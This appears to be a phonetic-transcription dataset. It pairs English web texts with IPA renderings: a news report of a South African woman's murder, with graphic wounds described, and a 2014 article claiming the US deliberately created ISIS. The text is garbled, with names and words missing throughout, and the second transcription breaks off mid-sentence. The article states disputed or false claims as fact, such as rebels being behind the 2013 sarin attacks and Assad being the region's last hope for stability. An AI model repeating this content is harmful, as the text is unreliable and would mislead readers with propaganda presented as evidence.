a memorial service for wiers will be held on tuesday at mother campus polokwane. | ə saʊθ ˈæfrɪkɑn ˈməðər əv θri wɑz stæbd 21 taɪmz ənd hæd hər aɪz gaʊʤd aʊt ɪn ə hoʊm ˌɪnˈveɪʒən ˈrɑbəri ðət pəˈlis sɛd wɑz ðə kraɪm ˈɛvər sin, əˈkɔrdɪŋ tɪ ˈpəblɪʃt rɪˈpɔrts. ðə nud ˈbɑdi əv ˈtɑnjə wirz, 45 wɑz dɪˈskəvərd ˌɪnˈsaɪd hər ˈbɛˌdrum ɪn polokwane*, əˈbaʊt 150 maɪəlz nɔrθ əv priˈtɔriə, ˈæftər hər ˈtiˌneɪʤ sən, roʊlf, hæd rɪˈtərnd hoʊm frəm skul ˈfɛbjəˌwɛri. 9 ðə ˌrivˈju ˌriˈpɔrtəd. ʃi hæd ˈsəfərd stæb wundz tɪ hər nɛk ənd ˈəndər hər ʧɪn ənd hər aɪz hæd bɪn kət aʊt wɪθ ə naɪf, ðə ˈnuzˌpeɪpər sɛd. ʃi ˈɔlsoʊ hæd ˈnumərəs dɪˈfɛnsɪv wundz. wɛnt ˈɪntu ðə haʊs, ˈθɪŋkɪŋ ʃi maɪt hæv daɪd frəm ə hɑrt əˈtæk. wət aɪ sɔ wɑz laɪk ˈsəmθɪŋ aʊt əv ə ˈhɔrər movie,”*,” ə ˈfæməli frɛnd ˈleɪtər toʊld ˌrivˈju. wɑz laɪɪŋ ɪn hər ˈjəŋgəst rum ˈkəvərd baɪ ə ˌbiˈsaɪd ðə bɛd. ɪt wɑz klɪr ðət ðɛr hæd bɪn ə ˈstrəgəl ɛz ðə bɛd wɑz nɑt wɛr ɪt juzd tɪ bi ɪn ðə room,”*,” sɛd ðə frɛnd, hu rɪkˈwɛstɪd ˌænəˈnɪmɪti. ˈkloʊðɪŋ wɑz laɪɪŋ ɪn frənt əv ðə ˈklɑzət ɪn hər ənd hər rum. ðə ˈklɑzət dɔrz wər stɪl ˈoʊpən ənd ɪt ɪz ˈɛvədənt ˈsəmˌwən hæd sərʧt through,”*,” ðə frɛnd sɛd. wən əv ðə ˈsəˌspɛkts, frænz maela*, 25 wɑz ərˈɛstɪd ˈleɪtər ðət deɪ ənd ʧɑrʤd wɪθ hər ˈmərdər ˈæftər pəˈlis faʊnd wiers’*’ ˈstoʊlən ˈprɑpərti ɪn hɪz pəˈzɛʃən. ɪt wɑz ənˈklɪr wət hi hæd ˈteɪkən. mɔr ərˈɛsts wər ɪkˈspɛktɪd ɪn ðə ˈkəmɪŋ deɪz. ɪz ðə moʊst ˈgrusəm θɪŋ ˈɛvər sin. aɪ θɪŋk ðət ðɛr wɪl ˈɛvər bi ˈɛniˌθɪŋ wərs. ɪt wɑz ˈɛvədənt ðət ðə ˈvɪktɪm pʊt əp ðə faɪt əv hər laɪf, ðɛr wɑz soʊ məʧ bləd ənd hər dɪˈfɛnsɪv wundz tɛl ðɛr oʊn ˈhɔrəˌfaɪɪŋ story,”*,” ə pəˈlis ˈspoʊkspərsən, brɪg. mojapelo*, toʊld ˌrivˈju. ə məˈmɔriəl ˈsərvɪs fər wirz wɪl bi hɛld ɔn ˈtuzˌdeɪ æt ˈməðər ˈkæmpəs polokwane*. |
the covert origins of isis
above: a file image uploaded on june 14, 2014 on the jihadist website allegedly shows militants of the islamic state of iraq and the levant (isil) executing dozens of captured iraqi security forces members at an unknown location in the province photo / ho)
evidence exposing who put isis in power, and how it was done.
the islamic militant group isis, formerly known as al-qaeda in iraq, and recently as the so called islamic state, is the stuff of nightmares. they are ruthless, fanatical, killers, on a mission, and that mission is to wipe out anyone and everyone, from any religion or belief system and to impose law. the mass executions, beheadings and even that they are committing as they work towards this goal are flaunted like badges of pride, video taped and uploaded for the whole world to see.
this is the new face of evil.
would it interest you to know who helped these psychopaths rise to power? would it interest you to know who armed them, funded them and trained them? would it interest you to know why?
this story makes more sense if we start in the middle, so begin with the overthrow of muammar in 2011.
the libyan revolution was first major foreign intervention. it was portrayed as an extension of the arab spring, and nato involvement was framed in humanitarian terms.
the fact that the cia was actively working to help the libyan rebels topple was no secret, nor were the airstrikes that obama ordered against the libyan government.however, little was said about the identity or the ideological leanings of these libyan rebels. not surprising, considering the fact that the leader of the libyan rebels later admitted that his fighters included al-qaeda linked jihadists who fought against allied troops in iraq.
these jihadist militants from iraq were part of what national security analysts commonly referred to as al-qaeda in iraq. remember al-qaeda in iraq was isis before it was.
with the assistance of u.s. and nato intelligence and air support, the libyan rebels captured and summarily executed him in the street, all the while enthusiastically chanting “allah akbar”. for many of those who had bought the official line about how these rebels were freedom fighters aiming to establish a liberal democracy in libya, this was the beginning of the end of their illusions.
prior to the u.s. and nato backed intervention, libya had the highest standard of living of any country in africa. this according to the human development index rankings for in the years following the coup, the country descended into chaos, with extremism and violence running rampant. libya is now widely regarded as failed state (of course those who were naive enough to buy into the propaganda leading up to the war get defensive when this is said).
now after was overthrown, the libyan armories were looted, and massive quantities of weapons were sent by the libyan rebels to syria. the weapons, which included and missiles were smuggled into syria through turkey, a nato ally. the times of on the arrival of the shipment on september 14th, 2012. (secondary confirmation in this article) this was just three days after ambassador chris stevens was killed by the attack on the u.s. embassy in benghazi. chris stevens had served as the u.s. liaison to the libyan rebels since april of 2011.
while a great deal media attention has focused on the fact that the state department did not provide adequate security at the consulate, and was slow to send assistance when the attack started, pulitzer prize winning journalist seymour hersh released an article in april of 2014 which exposed a classified agreement between the cia, turkey and the syrian rebels to create what was referred to as a “rat line”. the “rat line” was covert network used to channel weapons and ammunition from libya, through southern turkey and across the syrian border. funding was provided by turkey, saudi arabia and qatar.
with stevens dead any direct u.s. involvement in that arms shipment was buried, and washington would continue to claim that they had not sent heavy weaponry into syria.
it was at this time that jihadist fighters from libya began flooding into syria as well. and not just low level militants. many were experienced commanders who had fought in multiple theaters.
the u.s. and its allies were now fully focused on taking down government in syria. as in libya this regime change was to be framed in terms of human rights, and now overt support began to supplement the backdoor channels. the growing jihadist presence was swept under the rug and covered up.
however as the rebels gained strength, the reports of war crimes and atrocities that they were committing began to create a bit of a public relations problem for washington. it then became standard policy to insist that u.s. support was only being given to what they referred to as“moderate” rebel forces.
this distinction, however, had no basis in reality.
in an interview given in april of 2014, commander jamal admitted that his fighters regularly conduct joint operations with. is the official branch in syria. this statement is further validated by an interview given in june of 2013 by colonel abdel basset al-tawil, commander of the’s northern front. in this interview he openly discusses his ties with, and expresses his desire to see syria ruled by sharia law. (you can verify the identities of these two commanders here in this document from the institute for the study of war)
moderate rebels? well complicated. not that this should really come as any surprise. reuters had reported in 2012 that the’s command was dominated by islamic extremists, and the new york times had reported that same year that the majority of the weapons that washington were sending into syria was ending up in the hands jihadists. for two years the u.s. government knew that this was happening, but they kept doing it.
and the’s ties to are just the beginning. in june of 2014 merged with isis at the border between iraq and syria.
so to review, the is working with, is working with isis, and the u.s. has been sending money and weapons to the even though known since 2012 that most of these weapons were ending up in the hands of extremists. you do the math.
in that context, the sarin gas attacks of 2013 which turned out to have been committed by the syrian rebels, makes a lot more sense it? if it enough that u.n. investigators, russian investigators, and pulitzer prize winning journalist seymour hersh all pinned that crime on proxies, the rebels themselves threatened the west that they would expose what really happened if they were not given more advanced weaponry within one month.
by the way, this also explains why washington then decided to target russia next.
this threat was made on june 10th, 2013. in what can only be described as an amazing coincidence, just nine days later, the rebels received their first official shipment of heavy weapons in aleppo.
after the second sarin gas fiasco, which was also exposed and therefore failed to garner public support for airstrikes, the u.s. continued to increase its the training and support for the rebels.
in february of 2014, reported that the u.s. and its allies in the region, saudi arabia, jordan and israel, were in the process of helping the syrian rebels plan and prepare for a massive attack in the south. according to israel had also provided direct assistance in military operations against assad four months prior (you can access a free cached version of the page here).
then in may of 2014 ran a report in which they interviewed rebels who were trained by the u.s. in qatar. according to those rebels they were being trained to finish off soldiers who survived attacks.
“they trained us to ambush regime or enemy vehicles and cut off the road,” said the fighter, who is identified only as “hussein.” “they also trained us on how to attack a vehicle, raid it, retrieve information or weapons and munitions, and how to finish off soldiers still alive after an ambush.”
this is a blatant violation of the geneva conventions. it also runs contrary to conventional military strategy. in conventional military strategy soldiers are better off left wounded, because this ends up costing the enemy more resources. executing captured enemy soldiers is the kind of tactic used when you want to strike terror in the hearts of the enemy. it also just happens to be standard operating procedure for isis.
one month after this report, in june of 2014, isis made its dramatic entry, crossing over the syrian border into iraq, capturing mosul, and almost reaching baghdad. the internet was suddenly flooded with footage of drive by shootings, large scale death marches, and mass graves. and of course any iraqi soldier that was captured was executed.
massive quantities of american military equipment were seized during that operation. isis took entire truckloads of humvees, they took helicopters, tanks, and artillery. they photographed and video taped themselves and advertised what they were doing on social media, and yet for some reason washington even try to stop them.
u.s. military doctrine clearly calls for the destruction of military equipment and supplies when friendly forces cannot prevent them from falling into enemy hands, but that happen here. isis was allowed to carry this equipment out of iraq and into syria unimpeded. the u.s. military had the means to strike these convoys, but they lift a finger, even though they had been launching drone strikes in pakistan that same week.
why would they do that?
though obama plays the role of a weak, indecisive, liberal president, and while pundits from the right have had a lot of fun with that image, this is just a facade. some presidents, like george w. bush, rely primarily on overt military aggression. obama gets the same job done, but he prefers covert means. not really surprising considering the fact that zbigniew brzezinski was his mentor.
those who know their history will remember that zbigniew brzezinski was directly involved in the funding and arming the islamic extremists in pakistan and afghanistan in order to weaken the soviets.
by the way osama bin laden was one of these “freedom fighters” the u.s. was funding and arming.
this operation is no secret at this point, nor are the unintended side effects.
officially the u.s. arming and funding of the mujahideen was a response to the soviet invasion in december of 1979, however in his memoir entitled “from the shadows” robert gates, director of the cia under ronald reagan and george bush senior, and secretary of defense under both george w. bush and barack obama, revealed that the u.s. actually began the covert operation 6 months prior, with the express intention of luring the soviets into a quagmire. (you can preview the relevant text here on google books)
the strategy worked. the soviets invaded, and the ten years of war that followed are considered by many historians as being one of the primary causes of the fall of the ussr.
this example just establish precedent, what seeing happen in iraq, afghanistan and syria right now is actually a continuation of a old story. and isis are ideological and organizational decedents of these extremist elements that the u.s. government made use of thirty years ago.
the u.s. the went on to create a breeding ground for these extremists by invading iraq in 2003. had it not been for the vacuum of power left by the removal and execution of saddam, al-qaeda in iraq, aka isis, would not exist. and had it not been for attempt at toppling assad by arming, funding and training shadowy militant groups in syria, there is no way that isis would have been capable of storming into iraq in june of 2014.
on every level, no matter how you cut it, isis is a product of u.s. twisted and decrepit foreign policy.
now all of this may seem contradictory to you as you watch the drums of war against isis begin to beat louder and the air strikes against them are gradually widenedhttp://www.wjla.com/articles/2014/08/president-obama-considers-possible-…). why would the u.s. help a terrorist organization get established, only to attack them later?
well why did the cia put saddam hussein in power in 1963?, why did the u.s. government back saddam in 1980 when he launched a war of aggression against iran, even though they knew that he was using chemical weapons? why did the u.s. fund and arm islamic extremists in afghanistan against the soviets?
there’s a pattern here if you look closely. this is a tried and true geopolitical strategy.
step 1: build up a dictator or extremist group which can then be used to wage proxy wars against opponents. during this stage any crimes committed by these proxies are swept under the rug. [problem]
step 2: when these nasty characters have outlived their usefulness, when time to pull out all that dirt from under the rug and start publicizing it. this obviously works best when the public has no idea how these bad guys came to power.[reaction]
step 3: finally, when the public practically begging for the government to do something, a solution is proposed. usually the solution involves military intervention, the loss of certain liberties, or both. [solution]
isis is extremely useful. they have essentially done washington dirty work by weakening assad. in 2014, while the news cycle has focused almost exclusively on ukraine and russia, isis made major headway in syria, and as of august they already controlled 35% of the country.
since isis largely based in syria, this gives the u.s. a pretext to move into syria. sooner or later the u.s. will extend the airstrikes into backyard, and when they do u.s. officials are already making it clear that both isis and the syrian government will be targeted. that, after all, is the whole point. washington may allow isis to capture a bit more territory first, but the writing is on the wall, and has been for some time now.
the obama administration has repeatedly insisted that this will never lead to boots on the ground, however, the truth of the matter is that anyone who understands anything about military tactics knows full well that isis cannot be defeated by airstrikes alone. in response to airstrikes isis will merely disperse and conceal their forces. isis an established state power which can be destroyed by knocking out key government buildings and infrastructure. these are guerrilla fighters who cut their teeth in urban warfare.
to significantly weaken them, the war will have to involve ground troops, but even this is a lost cause. u.s. troops could certainly route isis in street to street battles for some time, and they might even succeed in fully occupying syria and iraq for a number of years, but eventually they will have to leave, and when they do, it should be obvious what will come next.
the puppets that the u.s. government has installed in the various countries that they have brought down in recent years have without exception proven to be utterly incompetent and corrupt. no one that washington places in power will be capable of maintaining stability in syria. period.
right now, assad is the last bastion of stability in the region. he is the last chance they have for a moderate non-sectarian government and he is the only hope of anything even remotely resembling democracy for the foreseeable future. if assad falls, islamic extremist will take the helm, they will impose law, and they will do everything in their power to continue spreading their ideology as far and wide as they can.
if the world truly wants to stop isis, there is only one way to do it:
1. first and foremost, the u.s. government and its allies must be heavily pressured to cut all support to the rebels who are attempting to topple assad. even if these rebels that the u.s. is arming and funding were moderate, and not, the fact that they are forcing assad to fight a war on multiple fronts, only strengthens isis. this is lunacy.
2. the syrian government should be provided with financial support, equipment, training and intelligence to enable them to turn the tide against isis. this is their territory, they should be the ones to reclaim it.
now obviously this support going to come from the u.s. or any nato country, but there are a number of nations who have a strategic interest in preventing another regime change and chaotic aftermath. if these countries respond promptly, as in right now, they could preempt a u.s. intervention, and as long this support does not include the presence of foreign troops, doing so will greatly reduce the likelihood of a major confrontation down the road.
3. the u.s. government and its allies should should be aggressively condemned for their failed regime change policies and the individuals behind these decisions should be charged for war crimes. this would have to be done on an nation by nation level since the u.n. has done nothing but enable nato aggression. while this may not immediately result in these criminals being arrested, it would send a message. this can be done. malaysia has already proven this by convicting the bush administration of war crimes in abstentia.
now you might be thinking: “this all sounds fine and good, but what does this have to do with me? i influence this situation.”
that perspective is quite common, and for most people, paralyzing, but the truth of the matter is that we can influence this. done it before, and we can do it again.
i’ll be honest with you though, this going to be easy. to succeed we have to start thinking strategically. like it or not, this is a chess game. if we really want to rock the boat, we have to start reaching out to people in positions of influence. this can mean talking to broadcasters at your local radio station, news paper, or t.v. station, or it can mean contacting influential bloggers, celebrities, business figures or government officials. reaching out to current serving military and young people who may be considering joining up is also important. but even if just your neighbor, or your coworker, every single person we can reach brings us closer to critical mass. the most important step is to start trying.
if you are confused about why this is all happening, watch this video we put out on september 11th, 2012
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bonus article (an interesting tangent): were the libyan rebels being led by a cia plant? | ðə ˈkoʊvərt ˈɔrəʤɪnz əv ˈaɪsəs əˈbəv: ə faɪl ˈɪmɪʤ ˈəˌploʊdɪd ɔn ʤun 14 2014 ɔn ðə ʤiˈhɑˌdɪst ˈwɛbˌsaɪt əˈlɛʤədli ʃoʊz ˈmɪlətənts əv ðə ˌɪzˈlɑmɪk steɪt əv ˌɪˈrɑk ənd ðə ləˈvænt (isil*) ˈɛksəˌkjutɪŋ ˈdəzənz əv ˈkæpʧərd ˌɪˈræki sɪˈkjʊrəti ˈfɔrsɪz ˈmɛmbərz æt ən ənˈnoʊn loʊˈkeɪʃən ɪn ðə ˈprɑvɪns ˈfoʊˌtoʊ hoʊ) ˈɛvədəns ɪkˈspoʊzɪŋ hu pʊt ˈaɪsəs ɪn paʊər, ənd haʊ ɪt wɑz dən. ðə ˌɪzˈlɑmɪk ˈmɪlətənt grup ˈaɪsəs, ˈfɔrmərli noʊn ɛz ˌɑlˈkaɪdɑ ɪn ˌɪˈrɑk, ənd ˈrisəntli ɛz ðə soʊ kɔld ˌɪzˈlɑmɪk steɪt, ɪz ðə stəf əv ˈnaɪtˌmɛrz. ðeɪ ər ˈruθləs, fəˈnætɪkəl, ˈkɪlərz, ɔn ə ˈmɪʃən, ənd ðət ˈmɪʃən ɪz tɪ waɪp aʊt ˈɛniˌwən ənd ˈɛvriˌwən, frəm ˈɛni rɪˈlɪʤən ər bɪˈlif ˈsɪstəm ənd tɪ ˌɪmˈpoʊz lɔ. ðə mæs ˌɛksəˈkjuʃənz, bɪˈhɛdɪŋz ənd ˈivɪn ðət ðeɪ ər kəˈmɪtɪŋ ɛz ðeɪ wərk təˈwɔrdz ðɪs goʊl ər ˈflɔntɪd laɪk ˈbæʤɪz əv praɪd, ˈvɪdioʊ teɪpt ənd ˈəˌploʊdɪd fər ðə hoʊl wərld tɪ si. ðɪs ɪz ðə nu feɪs əv ˈivəl. wʊd ɪt ˈɪntəˌrɛst ju tɪ noʊ hu hɛlpt ðiz ˈsaɪkoʊˌpæθs raɪz tɪ paʊər? wʊd ɪt ˈɪntəˌrɛst ju tɪ noʊ hu ɑrmd ðɛm, ˈfəndɪd ðɛm ənd treɪnd ðɛm? wʊd ɪt ˈɪntəˌrɛst ju tɪ noʊ waɪ? ðɪs ˈstɔri meɪks mɔr sɛns ɪf wi stɑrt ɪn ðə ˈmɪdəl, soʊ bɪˈgɪn wɪθ ðə ˈoʊvərθˌroʊ əv muˈæmər ɪn 2011 ðə ˈlɪˌbiən ˌrɛvəˈluʃən wɑz fərst ˈmeɪʤər ˈfɔrən ˌɪntərˈvɛnʃən. ɪt wɑz pɔrˈtreɪd ɛz ən ɪkˈstɛnʃən əv ðə ˈærəb spərɪŋ, ənd ˈneɪtoʊ ˌɪnˈvɑlvmənt wɑz freɪmd ɪn ˌjuˌmænəˈtɛriən tərmz. ðə fækt ðət ðə siaɪeɪ wɑz ˈæktɪvli ˈwərkɪŋ tɪ hɛlp ðə ˈlɪˌbiən ˈrɛbəlz ˈtɑpəl wɑz noʊ ˈsikrɪt, nɔr wər ðə ˈɛrˌstraɪks ðət ˌoʊˈbɑmə ˈɔrdərd əˈgɛnst ðə ˈlɪˌbiən government.however*, ˈlɪtəl wɑz sɛd əˈbaʊt ðə aɪˈdɛntəˌti ər ðə ˌaɪdiəˈlɑʤɪkəl ˈlinɪŋz əv ðiz ˈlɪˌbiən ˈrɛbəlz. nɑt səˈpraɪzɪŋ, kənˈsɪdərɪŋ ðə fækt ðət ðə ˈlidər əv ðə ˈlɪˌbiən ˈrɛbəlz ˈleɪtər ədˈmɪtəd ðət hɪz ˈfaɪtərz ˌɪnˈkludɪd ˌɑlˈkaɪdɑ lɪŋkt ʤiˈhɑˌdɪsts hu fɔt əˈgɛnst ˈæˌlaɪd trups ɪn ˌɪˈrɑk. ðiz ʤiˈhɑˌdɪst ˈmɪlətənts frəm ˌɪˈrɑk wər pɑrt əv wət ˈnæʃənəl sɪˈkjʊrəti ˈænəlɪsts ˈkɑmənli rɪˈfərd tɪ ɛz ˌɑlˈkaɪdɑ ɪn ˌɪˈrɑk. rɪˈmɛmbər ˌɑlˈkaɪdɑ ɪn ˌɪˈrɑk wɑz ˈaɪsəs ˌbiˈfɔr ɪt wɑz. wɪθ ðə əˈsɪstəns əv juz. ənd ˈneɪtoʊ ˌɪnˈtɛləʤəns ənd ɛr səˈpɔrt, ðə ˈlɪˌbiən ˈrɛbəlz ˈkæpʧərd ənd səˈmɛrɪli ˈɛksəˌkjutɪd ɪm ɪn ðə strit, ɔl ðə waɪl ɪnˌθuziˈæstɪkli ˈʧæntɪŋ akbar”*”. fər ˈmɛni əv ðoʊz hu hæd bɔt ðə əˈfɪʃəl laɪn əˈbaʊt haʊ ðiz ˈrɛbəlz wər ˈfridəm ˈfaɪtərz ˈeɪmɪŋ tɪ ɪˈstæblɪʃ ə ˈlɪˌbərəl dɪˈmɑkrəsi ɪn ˈlɪˌbiə, ðɪs wɑz ðə bɪˈgɪnɪŋ əv ðə ɛnd əv ðɛr ˌɪˈluʒənz. praɪər tɪ ðə juz. ənd ˈneɪtoʊ bækt ˌɪntərˈvɛnʃən, ˈlɪˌbiə hæd ðə haɪəst ˈstændərd əv ˈlɪvɪŋ əv ˈɛni ˈkəntri ɪn ˈæfrɪkɑ. ðɪs əˈkɔrdɪŋ tɪ ðə ˈjumən dɪˈvɛləpmənt ˈɪndɛks ˈræŋkɪŋz fər ɪn ðə jɪrz ˈfɑloʊɪŋ ðə ku, ðə ˈkəntri dɪˈsɛndɪd ˈɪntu keɪɑs, wɪθ ˌɪkˈstrɛmɪzəm ənd ˈvaɪələns ˈrənɪŋ ˈræmpənt. ˈlɪˌbiə ɪz naʊ ˈwaɪdli rɪˈgɑrdɪd ɛz feɪld steɪt (əv kɔrs ðoʊz hu wər naɪiv ɪˈnəf tɪ baɪ ˈɪntu ðə ˌprɑpəˈgændə ˈlidɪŋ əp tɪ ðə wɔr gɪt dɪˈfɛnsɪv wɪn ðɪs ɪz sɛd). naʊ ˈæftər wɑz ˌoʊvərθˈroʊn, ðə ˈlɪˌbiən ˈɑrməriz wər ˈlutɪd, ənd ˈmæsɪv kˈwɑntətiz əv ˈwɛpənz wər sɛnt baɪ ðə ˈlɪˌbiən ˈrɛbəlz tɪ ˈsɪriə. ðə ˈwɛpənz, wɪʧ ˌɪnˈkludɪd ənd ˈmɪsəlz wər sˈməgəld ˈɪntu ˈsɪriə θru ˈtərki, ə ˈneɪtoʊ ˈælaɪ. ðə taɪmz əv ɔn ðə ərˈaɪvəl əv ðə ˈʃɪpmənt ɔn sɛpˈtɛmbər 14th*, 2012 (ˈsɛkənˌdɛri ˌkɑnfərˈmeɪʃən ɪn ðɪs ˈɑrtɪkəl) ðɪs wɑz ʤɪst θri deɪz ˈæftər æmˈbæsədər krɪs ˈstivənz wɑz kɪld baɪ ðə əˈtæk ɔn ðə juz. ˈɛmbəsi ɪn benghazi*. krɪs ˈstivənz hæd sərvd ɛz ðə juz. liˈeɪˌzɑn tɪ ðə ˈlɪˌbiən ˈrɛbəlz sɪns ˈeɪprəl əv 2011 waɪl ə greɪt dil ˈmidiə əˈtɛnʃən həz ˈfoʊkɪst ɔn ðə fækt ðət ðə steɪt dɪˈpɑrtmənt dɪd nɑt prəˈvaɪd ˈædəkˌweɪt sɪˈkjʊrəti æt ðə ˈkɑnsələt, ənd wɑz sloʊ tɪ sɛnd əˈsɪstəns wɪn ðə əˈtæk ˈstɑrtɪd, ˈpʊlətsər praɪz ˈwɪnɪŋ ˈʤərnəlɪst ˈsimɔr hərʃ riˈlist ən ˈɑrtɪkəl ɪn ˈeɪprəl əv 2014 wɪʧ ɪkˈspoʊzd ə ˈklæsəˌfaɪd əˈgrimənt bɪtˈwin ðə siaɪeɪ, ˈtərki ənd ðə ˈsɪriən ˈrɛbəlz tɪ kriˈeɪt wət wɑz rɪˈfərd tɪ ɛz ə line”*”. ðə line”*” wɑz ˈkoʊvərt ˈnɛtˌwərk juzd tɪ ˈʧænəl ˈwɛpənz ənd ˌæmjəˈnɪʃən frəm ˈlɪˌbiə, θru ˈsəðərn ˈtərki ənd əˈkrɔs ðə ˈsɪriən ˈbɔrdər. ˈfəndɪŋ wɑz prəˈvaɪdɪd baɪ ˈtərki, ˈsɔdi əˈreɪbiə ənd ˌkəˈtɑr. wɪθ ˈstivənz dɛd ˈɛni dɪˈrɛkt juz. ˌɪnˈvɑlvmənt ɪn ðət ɑrmz ˈʃɪpmənt wɑz ˈbɛrid, ənd ˈwɔʃɪŋtən wʊd kənˈtɪnju tɪ kleɪm ðət ðeɪ hæd nɑt sɛnt ˈhɛvi ˈwɛpənri ˈɪntu ˈsɪriə. ɪt wɑz æt ðɪs taɪm ðət ʤiˈhɑˌdɪst ˈfaɪtərz frəm ˈlɪˌbiə bɪˈgæn ˈflədɪŋ ˈɪntu ˈsɪriə ɛz wɛl. ənd nɑt ʤɪst loʊ ˈlɛvəl ˈmɪlətənts. ˈmɛni wər ɪkˈspɪriənst kəˈmændərz hu hæd fɔt ɪn ˈməltəpəl ˈθiətərz. ðə juz. ənd ɪts ˈælaɪz wər naʊ ˈfʊli ˈfoʊkɪst ɔn ˈteɪkɪŋ daʊn ˈgəvərnmənt ɪn ˈsɪriə. ɛz ɪn ˈlɪˌbiə ðɪs rəˈʒim ʧeɪnʤ wɑz tɪ bi freɪmd ɪn tərmz əv ˈjumən raɪts, ənd naʊ ˈoʊvərt səˈpɔrt bɪˈgæn tɪ ˌsəpləˈmɛnt ðə ˈbækˌdɔr ˈʧænəlz. ðə groʊɪŋ ʤiˈhɑˌdɪst ˈprɛzəns wɑz swɛpt ˈəndər ðə rəg ənd ˈkəvərd əp. ˌhaʊˈɛvər ɛz ðə ˈrɛbəlz geɪnd strɛŋθ, ðə rɪˈpɔrts əv wɔr kraɪmz ənd əˈtrɑsətiz ðət ðeɪ wər kəˈmɪtɪŋ bɪˈgæn tɪ kriˈeɪt ə bɪt əv ə ˈpəblɪk riˈleɪʃənz ˈprɑbləm fər ˈwɔʃɪŋtən. ɪt ðɛn bɪˈkeɪm ˈstændərd ˈpɑləsi tɪ ˌɪnˈsɪst ðət juz. səˈpɔrt wɑz ˈoʊnli biɪŋ ˈgɪvɪn tɪ wət ðeɪ rɪˈfərd tɪ as“moderate”*” ˈrɛbəl ˈfɔrsɪz. ðɪs dɪˈstɪŋkʃən, ˌhaʊˈɛvər, hæd noʊ ˈbeɪsɪs ɪn ˌriˈæləˌti. ɪn ən ˈɪntərvˌju ˈgɪvɪn ɪn ˈeɪprəl əv 2014 kəˈmændər ʤəˈmɑl ədˈmɪtəd ðət hɪz ˈfaɪtərz ˈrɛgjələrli ˈkɑndəkt ʤɔɪnt ˌɑpərˈeɪʃənz wɪθ. ɪz ðə əˈfɪʃəl brænʧ ɪn ˈsɪriə. ðɪs ˈsteɪtmənt ɪz ˈfərðər ˈvælədeɪtəd baɪ ən ˈɪntərvˌju ˈgɪvɪn ɪn ʤun əv 2013 baɪ ˈkərnəl ˈæbˌdɛl ˈbæsɪt al-tawil*, kəˈmændər əv ðə ˈnɔrðərn frənt. ɪn ðɪs ˈɪntərvˌju hi ˈoʊpənli dɪˈskəsɪz hɪz taɪz wɪθ, ənd ɪkˈsprɛsɪz hɪz dɪˈzaɪər tɪ si ˈsɪriə ruld baɪ ˈʃɑriə lɔ. (ju kən ˈvɛrəˌfaɪ ðə aɪˈdɛntɪˌtiz əv ðiz tu kəˈmændərz hir ɪn ðɪs ˈdɑkjəmɛnt frəm ðə ˈɪnstɪˌtut fər ðə ˈstədi əv wɔr) ˈmɑdərˌeɪt ˈrɛbəlz? wɛl ˈkɑmpləˌkeɪtəd. nɑt ðət ðɪs ʃʊd ˈrɪli kəm ɛz ˈɛni səˈpraɪz. ˈrɔɪtərz hæd ˌriˈpɔrtəd ɪn 2012 ðət ðə kəˈmænd wɑz ˈdɑməˌneɪtəd baɪ ˌɪzˈlɑmɪk ɪkˈstriməsts, ənd ðə nu jɔrk taɪmz hæd ˌriˈpɔrtəd ðət seɪm jɪr ðət ðə məˈʤɔrəti əv ðə ˈwɛpənz ðət ˈwɔʃɪŋtən wər ˈsɛndɪŋ ˈɪntu ˈsɪriə wɑz ˈɛndɪŋ əp ɪn ðə hænz ʤiˈhɑˌdɪsts. fər tu jɪrz ðə juz. ˈgəvərnmənt nu ðət ðɪs wɑz ˈhæpənɪŋ, bət ðeɪ kɛpt duɪŋ ɪt. ənd ðə taɪz tɪ ər ʤɪst ðə bɪˈgɪnɪŋ. ɪn ʤun əv 2014 mərʤd wɪθ ˈaɪsəs æt ðə ˈbɔrdər bɪtˈwin ˌɪˈrɑk ənd ˈsɪriə. soʊ tɪ ˌrivˈju, ðə ɪz ˈwərkɪŋ wɪθ, ɪz ˈwərkɪŋ wɪθ ˈaɪsəs, ənd ðə juz. həz bɪn ˈsɛndɪŋ ˈməni ənd ˈwɛpənz tɪ ðə ˈivɪn ðoʊ noʊn sɪns 2012 ðət moʊst əv ðiz ˈwɛpənz wər ˈɛndɪŋ əp ɪn ðə hænz əv ɪkˈstriməsts. ju du ðə mæθ. ɪn ðət ˈkɑntɛkst, ðə sɑrɪn gæs əˈtæks əv 2013 wɪʧ tərnd aʊt tɪ hæv bɪn kəˈmɪtɪd baɪ ðə ˈsɪriən ˈrɛbəlz, meɪks ə lɔt mɔr sɛns ɪt? ɪf ɪt ɪˈnəf ðət u.n*. ˌɪnˈvɛstəˌgeɪtərz, ˈrəʃən ˌɪnˈvɛstəˌgeɪtərz, ənd ˈpʊlətsər praɪz ˈwɪnɪŋ ˈʤərnəlɪst ˈsimɔr hərʃ ɔl pɪnd ðət kraɪm ɔn ˈprɑksiz, ðə ˈrɛbəlz ðɛmˈsɛlvz θˈrɛtənd ðə wɛst ðət ðeɪ wʊd ɪkˈspoʊz wət ˈrɪli ˈhæpənd ɪf ðeɪ wər nɑt ˈgɪvɪn mɔr ədˈvænst ˈwɛpənri wɪˈθɪn wən mənθ. baɪ ðə weɪ, ðɪs ˈɔlsoʊ ɪkˈspleɪnz waɪ ˈwɔʃɪŋtən ðɛn ˌdɪˈsaɪdɪd tɪ ˈtərgət ˈrəʃə nɛkst. ðɪs θrɛt wɑz meɪd ɔn ʤun 10th*, 2013 ɪn wət kən ˈoʊnli bi dɪˈskraɪbd ɛz ən əˈmeɪzɪŋ koʊˈɪnsɪdəns, ʤɪst naɪn deɪz ˈleɪtər, ðə ˈrɛbəlz rɪˈsivd ðɛr fərst əˈfɪʃəl ˈʃɪpmənt əv ˈhɛvi ˈwɛpənz ɪn aleppo*. ˈæftər ðə ˈsɛkənd sɑrɪn gæs fiˈæskoʊ, wɪʧ wɑz ˈɔlsoʊ ɪkˈspoʊzd ənd ˈðɛrˌfɔr feɪld tɪ ˈgɑrnər ˈpəblɪk səˈpɔrt fər ˈɛrˌstraɪks, ðə juz. kənˈtɪnjud tɪ ˌɪnˈkris ɪts ðə ˈtreɪnɪŋ ənd səˈpɔrt fər ðə ˈrɛbəlz. ɪn ˈfɛbruˌɛri əv 2014 ˌriˈpɔrtəd ðət ðə juz. ənd ɪts ˈælaɪz ɪn ðə ˈriʤən, ˈsɔdi əˈreɪbiə, ˈʤɔrdən ənd ˈɪzriəl, wər ɪn ðə ˈprɔˌsɛs əv ˈhɛlpɪŋ ðə ˈsɪriən ˈrɛbəlz plæn ənd priˈpɛr fər ə ˈmæsɪv əˈtæk ɪn ðə saʊθ. əˈkɔrdɪŋ tɪ ˈɪzriəl hæd ˈɔlsoʊ prəˈvaɪdɪd 